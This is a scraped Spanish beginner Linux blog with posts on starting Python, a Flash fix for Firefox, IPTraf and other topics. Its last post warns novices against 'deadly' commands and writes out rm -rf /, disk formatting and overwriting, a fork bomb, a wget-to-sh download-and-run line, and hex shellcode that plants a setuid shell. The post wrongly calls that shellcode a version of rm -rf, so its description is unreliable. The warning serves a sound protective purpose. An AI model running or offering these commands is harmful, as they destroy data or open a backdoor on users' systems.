lunes, 31 de mayo de 2010
Python: Como empezar?
Bueno primero esta entrada es para aquellos que quieren aprender a programar y no tienen ni idea. Yo estoy en ese caso. Cuando me dio por aprender elegí python por su simplicidad y porque me recordaba un poco al Basic de mis años jovenes ya que es un lenguaje interpretado, sencillo y al parecer potente. Pero la primera en los morros me tire dos dias buscando un IDE, simple. Claro los que ya estan metidos en la materia lo tienen facil, pero para los novatos empiezas a googlear y que si eclipse, que si boaconstructor, que si, que si, que yo quiero aprender a programar sin buscar un tutorial para manejar un IDE, y no tener que hacer un master para poner en castellano el eclipse y no conseguirlo tras varias horas de busquedas y pruebas.
Asi que sin mas dilación vamos a ver como empezar a aprender en +/- 15 minutos.
1º Paso. Ver si tienes Python y si no lo tienes instalarlo.
Escribe en la consola:
$ Python
Si te sale esto o algo parecido es que lo tienes.
Python 2.6.4 (r264:75706, Dec 7 2009, 18:45:15)
[GCC 4.4.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
(PARA SALIR DEL INTERPRETE ESCRIBE >>>exit()
Si no lo tienes, pues instalalo:
$ sudo apt-get install python
2º Paso. Instalar Ipyton. Yo no lo he llegado a utilizar, tan solo he trasteado un poco con el. Pero al parecer lo recomiendan en todos los tutoriales así que como cuesta poco instalarlo pues vamos a ello, tiene la ventaja de que colorea, numera y alguna cosita mas es decir el un interprete mejorado.
Según la web del proyecto yo lo instale así:
$ sudo apt-get install python-setuptools
$ sudo easy_install ipython
3 Paso. El mas interesante, instalar IDLE, un interprete y editor para dar tus primeros paso en Python, sencillo y muy intuitivo, y como es tan simple asi aprendes a escribir codigo.
Para instalar:
$ sudo apt-get install idle
Para ejecutar:
$ idle
Mini tutorial de idle:
Cuando arranques idle aparece la pantalla del interprete.
Si quieres escribir codigo: clicka file>new window y se te abre el editor.
Para ejecutarlo: pestaña run y run module.
Para chekear errores: run y check module.
Y para no repetirnos con el tipico hola mundo.
pues prueba:
>>>print 'hola colega como estas??'
Bueno para acabar te dejo un pequeño programa en python que te dice los años que son bisiestos. Forma parte de unos ejercicios que estoy haciendo.
#!usr/bin/python
# Escribe un programa que pida un año y que escriba si es bisiesto o no.
# Un año es bisiesto si es divisible por 4, excepto el último de cada siglo
# (aquel divisible por 100), salvo que este último sea divisible por 400.
#
ano=int(raw_input('introduce un año cualquiera y te dire si es bisiesto: '))
if ano%400==0 and ano%4==0:
print ano,' es bisiesto. porque es multiplo de 400'
elif ano%100==0 and ano%4==0 and ano%400!=0:
print ano,' no es bisiesto pòrque es multiplo de 4 y 100 pero no de 400'
elif ano%4==0 and ano%100!=0:
print ano,' es bisiesto porque es multiplo de 4'
else:
print ano,' no es bisiesto pues no es multiplo de 4 ni de 400'
print '--Pulsa enter para spalir--'
raw_input()
Fijate lo que esta marcado en rojo, yo acabo todos los programas asi, de lo contrario algunas veces no te enteraras de lo que hace ya que abre y cierra el terminal muy rapido. Si lo ejecutas desde nautilus o desde la terminal.
raw_imput() lo que hace es que espera que pulses enter para finalizar.
Si te ha gustado esta entrada y te han quedado ganas de aprender este es un buen libro: http://mundogeek.net/tutorial-python/
Como ves esta entrada no es ningun tutorial de python tan solo es una forma de empezar sin dar muchas vueltas y no desnimarse antes de empezar.
Cuando aprenda contare mas cosas de momento espero sea de utilidad.
Etiquetas:
comandos linux,
ide python,
idle,
ipython,
programacion,
python,
tutorial
Ver youtube con firefox en lucid lynx.
Que tiempos aquellos con karmic en que te avisaba firefox que necesitabas un plugin.
Bueno a lo que vamos no se si a vosotros os a pasado o os pasara, despues de hacer una instalación de ubuntu 10.04 no puedo ver los vídeos de youtube. A mi si me paso después de una actualización y como pegue muchas vueltas hasta conseguir la solución pues os comento como lo solucione.
1. Descarga de flash player desde aqui. Concretamente el tar.gz Cuando hayas descargado el archivo cierra firefox.
2. Extrae el fichero y te aparecera: libflashplayer.so
3. Lo copias y lo pegas en: /usr/lib/mozilla/plugins/
OJO. para pegarlo en ese directorio abre nautilus como root:
$ sudo nautilus.
Para ver ficheros ocultos ctrl+h
4. A mi me pregunto si quería sustituir el archivo existente, y lo sustituí, igual a ti no te pregunta nada. Yo anduve trasteando anteriormente.
5. abre firefox y prueba si funciona.
Esta información esta basada en esta entrada: http://www.ubuntu-es.org/node/134688
Aunque yo solo he realizado los pasos que te he contado.
En la web de adobe te da otras instrucciones de instalación.
Pero yo no veo el directorio install_flash_player_10_linux por ninguna parte.
Como aclaración deciros que esto me ha ocurrido en una actualización, en una instalación limpia lo solucione como cuento en: http://ubuntu-paranovatos.blogspot.com/2010/04/cosas-que-hacer-despues-de-instalar.html
Aunque ahí creo que me paso como al burro que toca la flauta. XDD.
Y es que sinceramente creo que vamos para atras, sigo con karmic en el entorno productivo y aun no me he decidido a actualizar, sera que he tenido la suerte de probar el 10.04 en varios pc's.
Bueno saludos y espero que te sirva, de lo contrario comenta, a ver que se puede hacer.
Por cierto con chrome si se veían los videos. Lo comento porque si se pone crudo siempre es una alternativa.
Bueno a lo que vamos no se si a vosotros os a pasado o os pasara, despues de hacer una instalación de ubuntu 10.04 no puedo ver los vídeos de youtube. A mi si me paso después de una actualización y como pegue muchas vueltas hasta conseguir la solución pues os comento como lo solucione.
1. Descarga de flash player desde aqui. Concretamente el tar.gz Cuando hayas descargado el archivo cierra firefox.
2. Extrae el fichero y te aparecera: libflashplayer.so
3. Lo copias y lo pegas en: /usr/lib/mozilla/plugins/
OJO. para pegarlo en ese directorio abre nautilus como root:
$ sudo nautilus.
Para ver ficheros ocultos ctrl+h
4. A mi me pregunto si quería sustituir el archivo existente, y lo sustituí, igual a ti no te pregunta nada. Yo anduve trasteando anteriormente.
5. abre firefox y prueba si funciona.
Esta información esta basada en esta entrada: http://www.ubuntu-es.org/node/134688
Aunque yo solo he realizado los pasos que te he contado.
En la web de adobe te da otras instrucciones de instalación.
Pero yo no veo el directorio install_flash_player_10_linux por ninguna parte.
Como aclaración deciros que esto me ha ocurrido en una actualización, en una instalación limpia lo solucione como cuento en: http://ubuntu-paranovatos.blogspot.com/2010/04/cosas-que-hacer-despues-de-instalar.html
Aunque ahí creo que me paso como al burro que toca la flauta. XDD.
Y es que sinceramente creo que vamos para atras, sigo con karmic en el entorno productivo y aun no me he decidido a actualizar, sera que he tenido la suerte de probar el 10.04 en varios pc's.
Bueno saludos y espero que te sirva, de lo contrario comenta, a ver que se puede hacer.
Por cierto con chrome si se veían los videos. Lo comento porque si se pone crudo siempre es una alternativa.
Etiquetas:
chrome,
flash,
flash player,
linux,
lucid lynx,
plugin adobe,
problemas firefox,
youtube,
youtube firefox
sábado, 29 de mayo de 2010
WikiUnix: Aprende Unix.
wikiUNIX, es una plataforma educativa, en línea y libre con filosofía wiki para el aprendizaje y la asimilación de conceptos en torno a los sistemas operativos Unix.
Este proyecto se basa, además de en este wiki, en una plataforma de pruebas donde puedes realizar y comprobar ejercicios. Para más información, accede a la página sobre el soporte para pruebas o lee el resto de información de la portada.
Fuente texto e imagen extraidos de: Wikiunix
Si quieres aprender unix, es un buena opción hay varios niveles, ejercicios, etc.
Si quieres colaborar con el proyecto también tienen las puertas abiertas. Espero que os sea de utilidad.
Este proyecto se basa, además de en este wiki, en una plataforma de pruebas donde puedes realizar y comprobar ejercicios. Para más información, accede a la página sobre el soporte para pruebas o lee el resto de información de la portada.
Fuente texto e imagen extraidos de: Wikiunix
Si quieres aprender unix, es un buena opción hay varios niveles, ejercicios, etc.
Si quieres colaborar con el proyecto también tienen las puertas abiertas. Espero que os sea de utilidad.
viernes, 28 de mayo de 2010
Almacenamiento Online.
Bueno todos conocemos rapidshare, gigabyte, etc...
Pero hay alternativas para almacenar y compartir nuestros archivos.
Asi que aqui os dejo 3 de ellas a ver que os parecen.
Empiezo por File dropper es la primera que he usado y esta bien en el sentido de que no hay ni que registrarse para subir un archivo. Para muestra un boton: Script Postinstalación Ubuntu 10.04 en Español.
Tienes así a a pelo un limite de 5 GB.
http://www.filedropper.com/
Via | googleando
Por otro lado tenemos AnyHub con un almacenamiento de 10Gb. Creo que esta muy muy bien no crees.
http://es.anyhub.net/
Via | Dragonjar
Hoy mismo recibí en el reader una entrada que ha inspirado esta, un proyecto nuevo. Wingedbox. Tiene la particularidad de que lo que te suben tus amigos no te resta espacio a ti.
http://wingedbox.com/session/new
via | ubuntulife
Por supuesto hay muchos, mejores y peores. Yo personalmente la próxima vez usare wingedbox, entre otras cosas hay que apoyar a los nuevos emprendedores y si desde este mi humilde blog puedo ayudarles en algo pa eso estamos.
Pero hay alternativas para almacenar y compartir nuestros archivos.
Asi que aqui os dejo 3 de ellas a ver que os parecen.
Empiezo por File dropper es la primera que he usado y esta bien en el sentido de que no hay ni que registrarse para subir un archivo. Para muestra un boton: Script Postinstalación Ubuntu 10.04 en Español.
Tienes así a a pelo un limite de 5 GB.
http://www.filedropper.com/
Via | googleando
Por otro lado tenemos AnyHub con un almacenamiento de 10Gb. Creo que esta muy muy bien no crees.
http://es.anyhub.net/
Via | Dragonjar
Hoy mismo recibí en el reader una entrada que ha inspirado esta, un proyecto nuevo. Wingedbox. Tiene la particularidad de que lo que te suben tus amigos no te resta espacio a ti.
http://wingedbox.com/session/new
via | ubuntulife
Por supuesto hay muchos, mejores y peores. Yo personalmente la próxima vez usare wingedbox, entre otras cosas hay que apoyar a los nuevos emprendedores y si desde este mi humilde blog puedo ayudarles en algo pa eso estamos.
miércoles, 26 de mayo de 2010
Monitoreo de red
En algún momento a todos nos ha picado la curiosidad, al menos a mi si. Sobre lo que entra y lo que sale de nuestra computadora hacia o desde la red. No obstante es bueno saber lo que pasa sin que nos demos cuenta.
Una buena aplicación para monitorear tu red es IPTraf.
" IPTraf es un programa informático basado en consola que proporciona estadísticas de red. Funciona recolectando información de las conexiones TCP, como las estadísticas y la actividad de las interfaces, así como las caídas de tráfico TCP y UDP.
Además de un menú de opciones a pantalla completa, IPTraf posee las siguientes características:
* Monitor de tráfico IP que muestra información del tráfico de la red.
* Estadísticas generales de las Interfaces.
* Módulo de estadísticas de LAN que descubre hosts y muestra datos sobre su actividad.
* Monitor TCP, UDP que muestra la cuenta de los paquetes de red para las conexiones de los puertos de aplicaciones.
* Utiliza el "raw socket interface" que lleva el kernel permitiendo ser usado por un amplio rango de "tarjetas de red. "
Fuente Wikipedia.
Para instalar:
$ sudo apt-get install iptraf
para ejecutar:
$ sudo iptraf
Debes ejecutar como superusuario "sudo"
Para terminar, comentar que cada paquete TCP interceptado es asociado a uno o mas flags, dandonos información de la misma. Estos Flags son los siguientes:
Una de las informaciones interesantes es la búsqueda DNS inversa, los registros tendrán los nombres de dominio en lugar de las direcciones IP. así como el nombre del servicio en lugar del número de puerto. Así pues se puede saber de donde viene la conexión o el intento de conexión.
Aunque hay muchos sniffers y/o monitores de red este a mi me ha gustado por su simplicidad, aunque no es algo que se utilice todos los dias siempre es bueno tenerlo instalado.
Ciberbibliografia: all about linux
Wikipedia
IPTraf
Tambien te pueden interesar:
Ntop
Wireshark
Como hay muchos y variados si quieres aportar alguna aplicación, por favor comenta. Gracias.
Una buena aplicación para monitorear tu red es IPTraf.
" IPTraf es un programa informático basado en consola que proporciona estadísticas de red. Funciona recolectando información de las conexiones TCP, como las estadísticas y la actividad de las interfaces, así como las caídas de tráfico TCP y UDP.
Caracteristicas
Además de un menú de opciones a pantalla completa, IPTraf posee las siguientes características:
* Monitor de tráfico IP que muestra información del tráfico de la red.
* Estadísticas generales de las Interfaces.
* Módulo de estadísticas de LAN que descubre hosts y muestra datos sobre su actividad.
* Monitor TCP, UDP que muestra la cuenta de los paquetes de red para las conexiones de los puertos de aplicaciones.
* Utiliza el "raw socket interface" que lleva el kernel permitiendo ser usado por un amplio rango de "tarjetas de red. "
Fuente Wikipedia.
Para instalar:
$ sudo apt-get install iptraf
para ejecutar:
$ sudo iptraf
Debes ejecutar como superusuario "sudo"
Para terminar, comentar que cada paquete TCP interceptado es asociado a uno o mas flags, dandonos información de la misma. Estos Flags son los siguientes:
- S: se está llevando a cabo un SYN (sincronización) preparando una conexión. Si sólo si está presente
S---entonces se está intentando establecer una conexión. Pero si apareceS-A-, entonces es el reconocimiento de un pedido de conexión anterior. - A: reconocimiento (ACK) de un paquete recibido
- P: un pedido de prioridad para que sea llevado al comienzo de la cola de recepción
- U: el paquete contiene datos urgentes
- RESET: la máquina de origen de esta dirección reseteó toda la conexión
- DONE: la conexión ya terminó de enviar datos en esta dirección y envió un paquete de finalización (FIN) que no ha sido reconocido por la otra PC.
- CLOSED: el paquete de finalización (FIN) ha sido reconocido por la otra máquina
- -: un guión indica que la opción no está activa.
Una de las informaciones interesantes es la búsqueda DNS inversa, los registros tendrán los nombres de dominio en lugar de las direcciones IP. así como el nombre del servicio en lugar del número de puerto. Así pues se puede saber de donde viene la conexión o el intento de conexión.
Aunque hay muchos sniffers y/o monitores de red este a mi me ha gustado por su simplicidad, aunque no es algo que se utilice todos los dias siempre es bueno tenerlo instalado.
Ciberbibliografia: all about linux
Wikipedia
IPTraf
Tambien te pueden interesar:
Ntop
Wireshark
Como hay muchos y variados si quieres aportar alguna aplicación, por favor comenta. Gracias.
Etiquetas:
iptraf,
linux sniffer,
monitorear,
ntop,
red,
software,
tutorial,
ubuntu,
wireshark
lunes, 24 de mayo de 2010
Validation.
Acabo de ver este corto en el blog de mi colega jevyan: Pensamientos Anónimos
Visitadlo vale la pena.
Y como me ha gustado mucho lo comparto con vosotros.
Espero que sonriáis y se os quede la misma cara de bobo que se me ha quedado a mi. Eso significara que estáis vivos.
A que ha valido la pena verlo. Gracias jevyan.
Visitadlo vale la pena.
Y como me ha gustado mucho lo comparto con vosotros.
Espero que sonriáis y se os quede la misma cara de bobo que se me ha quedado a mi. Eso significara que estáis vivos.
A que ha valido la pena verlo. Gracias jevyan.
Etiquetas:
cine online,
corto,
Kurt Kuenne,
TJ Thyne,
validation,
Vicki Davis
miércoles, 19 de mayo de 2010
Cosas que no hay que hacer en Linux.
Si acabas de llegar al mundo de linux, quizás puedas tropezar con alguna de estas lineas de comando, o quizás no. Yo realmente nunca las he visto fuera de este contexto, pero bueno como siempre es bueno conocer lo bueno y lo malo aquí te dejo 7 comandos mortales para tu linux.
Y recuerda en Dos también te pueden colar un >format c:.
Y recuerda en Dos también te pueden colar un >format c:.
--- NO EJECUTES NADA DE LO QUE HAY EN ESTA ENTRADA ---
rm -rf /
Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comandorm -rf /.char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Esta es la versión hexadecimal derm-rf /cualquiera puede caer en una trampa como esta.mkfs.ext3 /dev/sda
Este comando formatea la partición que se menciona después de mkfs.:(){:|:&};:
A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.any_command > /dev/sda
Este comando provoca perdida total de datos, en la particion que se menciona en el comandowget http://cualquier site -O- | sh
Esto descarga paquetes de cualquier sitio y la ejecuta, cuidado con lo que bajes, aunque eso no te pillara de nuevo.mv /home/tu-carpeta-home/* /dev/null
Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.
-- NO EJECUTES NADA DE LO QUE HAY EN ESTA ENTRADA --
Esta entrada es con fines divulgativos y para prevenir posibles engaños, de los que ninguno estamos a salvo.
Etiquetas:
comandos linux,
comandos mortales en linux,
deadly commands,
mortal shell,
shell,
ubuntu
Suscribirse a:
Entradas (Atom)









![Validate my Atom 1.0 feed [Valid Atom 1.0]](valid-atom.png)